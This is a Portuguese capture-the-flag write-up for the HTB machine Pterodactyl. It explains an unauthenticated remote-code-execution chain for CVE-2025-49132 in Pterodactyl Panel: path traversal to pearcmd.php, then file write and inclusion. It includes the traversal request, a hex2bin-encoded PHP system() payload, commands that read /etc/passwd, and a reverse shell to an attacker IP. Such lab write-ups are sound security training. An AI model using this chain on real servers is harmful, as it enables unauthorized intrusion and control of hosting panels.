CVE-2025-49132 - Exploração RCE no Pterodactyl Panel

HTB Temporada 10 - Writeup da Máquina Pterodactyl

Visão Geral

Alvo: Máquina Pterodactyl HTB (Dificuldade Média)
CVE: CVE-2025-49132
Severidade: Crítica (CVSS 9.8)
Tipo de Ataque: Execução Remota de Código sem Autenticação
Afetados: Pterodactyl Panel < v1.11.11

Esta cadeia de exploração combina:

1. Path Traversal no sistema de tradução de locale
2. Injeção de Comando PEAR via pearcmd.php
3. Execução de Código PHP através de escrita de arquivo + inclusão

O Bug

O endpoint /locales/locale.json do Pterodactyl Panel permite path traversal através do parâmetro locale:

GET /locales/locale.json?locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd

Isso pode ser encadeado com pearcmd.php do PEAR para:

1. Escrever arquivos PHP arbitrários em /tmp
2. Executá-los através de outra requisição

Por que Funciona

PEAR (Repositório de Extensões e Aplicações PHP) possui uma ferramenta CLI (pearcmd.php) que:

• Aceita comandos via parâmetros de URL (projetado apenas para CLI)
• Possui um comando config-create que escreve arquivos
• Não possui autenticação quando chamado via web

A Cadeia de Exploração:

Path Traversal → Carregar pearcmd.php → Injetar PHP via config-create → Executar PHP malicioso

O Truque do Hex2bin()

Comandos são codificados em hexadecimal usando hex2bin() para contornar:

• Problemas de codificação de URL
• Filtros de caracteres especiais
• Problemas de análise Nginx/PHP

Exemplo:

Command: whoami
Hex:     77686f616d69
Payload: <?=system(hex2bin('77686f616d69'))?>

Execução Remota de Código

Método: Usando o exploit.sh fornecido

chmod +x exploit.sh

# Get user flag
./exploit.sh flag

# Execute commands
./exploit.sh cmd "whoami"
./exploit.sh cmd "cat /etc/passwd"

# Reverse shell
nc -lvnp 4444  # On attacker machine
./exploit.sh shell 10.10.14.21 4444

Referências

CVE e Exploits

• NVD - CVE-2025-49132
• OpenCVE - CVE-2025-49132

Recursos Técnicos

• Documentação do Pterodactyl Panel
• Documentação do PEAR
• OWASP Path Traversal